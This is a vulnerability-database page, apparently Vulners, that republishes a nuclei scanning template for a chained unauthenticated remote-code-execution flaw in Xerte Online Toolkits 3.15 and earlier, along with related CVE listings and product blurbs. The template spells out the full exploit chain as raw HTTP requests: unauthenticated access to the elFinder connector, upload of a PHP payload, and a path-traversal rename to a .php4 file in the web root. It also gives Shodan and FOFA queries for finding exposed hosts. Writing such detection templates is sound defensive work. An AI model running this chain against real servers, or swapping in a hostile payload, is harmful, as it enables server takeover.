Lucene search
K

Xerte Online Toolkits <= 3.15 - Remote Code Execution

🗓️ 07 Jul 2026 16:50:48Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 5 Views

Xerte Toolkits <=3.15 enables unauthenticated code execution via elFinder path traversal PHP write.

Related
Refs
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-34414
22 Apr 202618:32
attackerkb
ATTACKERKB
CVE-2026-34415
22 Apr 202618:33
attackerkb
ATTACKERKB
CVE-2026-34413
22 Apr 202618:33
attackerkb
Circl
CVE-2026-34413
22 Apr 202620:02
circl
Circl
CVE-2026-34414
22 Apr 202621:20
circl
Circl
CVE-2026-34415
22 Apr 202620:01
circl
CNNVD
Xerte Online Toolkits 安全漏洞
22 Apr 202600:00
cnnvd
CNNVD
Xerte Online Toolkits 安全漏洞
22 Apr 202600:00
cnnvd
CNNVD
Xerte Online Toolkits 路径遍历漏洞
22 Apr 202600:00
cnnvd
CVE
CVE-2026-34413
22 Apr 202618:33
cve
Rows per page
id: CVE-2026-34413

info:
  name: Xerte Online Toolkits <= 3.15 - Remote Code Execution
  author: Aryu-RU
  severity: critical
  description: |
    Xerte Online Toolkits versions 3.15 and earlier expose the elFinder file manager connector at /editor/elfinder/php/connector.php without authentication (CVE-2026-34413), because the access-control redirect for unauthenticated users does not call exit()/die() and execution continues server-side. This is chained with a relative path traversal in the elFinder rename command (CVE-2026-34414) and an incomplete file-extension blocklist that still permits .php4 (CVE-2026-34415) to write an attacker-controlled PHP file into the application root, resulting in unauthenticated remote code execution.
  impact: |
    An unauthenticated attacker can execute arbitrary PHP code on the server hosting Xerte Online Toolkits.
  remediation: |
    Update to a fixed release. The fix, which adds exit() after the access-control redirect and sanitizes elFinder file names, was backported to the 3.13, 3.14 and 3.15 branches.
  reference:
    - https://www.vulncheck.com/advisories/xerte-online-toolkits-missing-authentication-via-connector-php
    - https://github.com/bootstrapbool/xerteonlinetoolkits-rce
    - https://github.com/thexerteproject/xerteonlinetoolkits/issues/1527
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34413
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34414
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34415
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-34413
    epss-score: 0.02804
    epss-percentile: 0.84769
    cwe-id: CWE-306
  metadata:
    verified: true
    vendor: xerte
    product: xerte_online_toolkits
    shodan-query: http.title:"Xerte Online Toolkits"
    fofa-query: title="Xerte Online Toolkits"
  tags: cve,cve2026,xerte,elfinder,rce,unauth,intrusive,file-upload

variables:
  num: "999999999"
  rand: "{{rand_text_alpha(8)}}"

flow: |
  http(1);
  if (template["webroot"]) {
    http(2);
    if (template["authbypass"]) {
      for (let pid = 1; pid <= 30; pid++) {
        set("pid", pid);
        http(3);
        http(4);
        http(5);
        if (http(6)) {
          break;
        }
      }
    }
  }

http:
  - raw:
      - |
        GET /setup/ HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: webroot
        part: body
        group: 1
        regex:
          - '<code>([^<]+)</code>'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Welcome to Xerte Online Toolkits Installer")'
        condition: and
        internal: true

  - raw:
      - |
        GET /editor/elfinder/php/connector.php HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: authbypass
        part: body
        regex:
          - "Invalid upload location"
        internal: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(body, "Invalid upload location")'
        condition: and
        internal: true

  - raw:
      - |
        GET /editor/elfinder/php/connector.php?uploadDir={{webroot}}USER-FILES/{{pid}}--Nottingham/&uploadURL={{BaseURL}}/USER-FILES/{{pid}}--Nottingham/&cmd=mkdir&name={{rand}}{{pid}}&target=l1_Lw HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains_all(body, "added", "hash", "name")'
        condition: and
        internal: true

  - raw:
      - |
        POST /editor/elfinder/php/connector.php?uploadDir={{webroot}}USER-FILES/{{pid}}--Nottingham/&uploadURL={{BaseURL}}/USER-FILES/{{pid}}--Nottingham/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----xerteboundary

        ------xerteboundary
        Content-Disposition: form-data; name="cmd"

        upload
        ------xerteboundary
        Content-Disposition: form-data; name="target"

        l1_Lw
        ------xerteboundary
        Content-Disposition: form-data; name="upload[]"; filename="{{rand}}{{pid}}.txt"
        Content-Type: text/plain

        <br><?php echo md5("{{num}}"); unlink(__FILE__); ?>
        ------xerteboundary--

    extractors:
      - type: regex
        name: fileid
        part: body
        group: 1
        regex:
          - '"hash":"(l1_[^"]+)"'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains_all(body, "added", "hash", "name")'
        condition: and
        internal: true

  - raw:
      - |
        GET /editor/elfinder/php/connector.php?uploadDir={{webroot}}USER-FILES/{{pid}}--Nottingham/&uploadURL={{BaseURL}}/USER-FILES/{{pid}}--Nottingham/&cmd=rename&target={{fileid}}&name={{rand}}{{pid}}/../../../../{{rand}}{{pid}}.php4 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
        internal: true

  - raw:
      - |
        GET /{{rand}}{{pid}}.php4 HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "c8c605999f3d8352d7bb792cf3fdb25b")'
        condition: and
# digest: 4a0a0047304502207b90848f9b315db143836e74cfb0c6684d36d88c614483350dd8ddda9c2235c9022100fe8adccc77d3fe0ac48aa653b3a4c38a277358880820f0de95bb3f7cd50e2c43:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Jun 2026 05:36Current
6.4Medium risk
Vulners AI Score6.4
CVSS 3.19.8
CVSS 49.3
EPSS0.03575
SSVC
5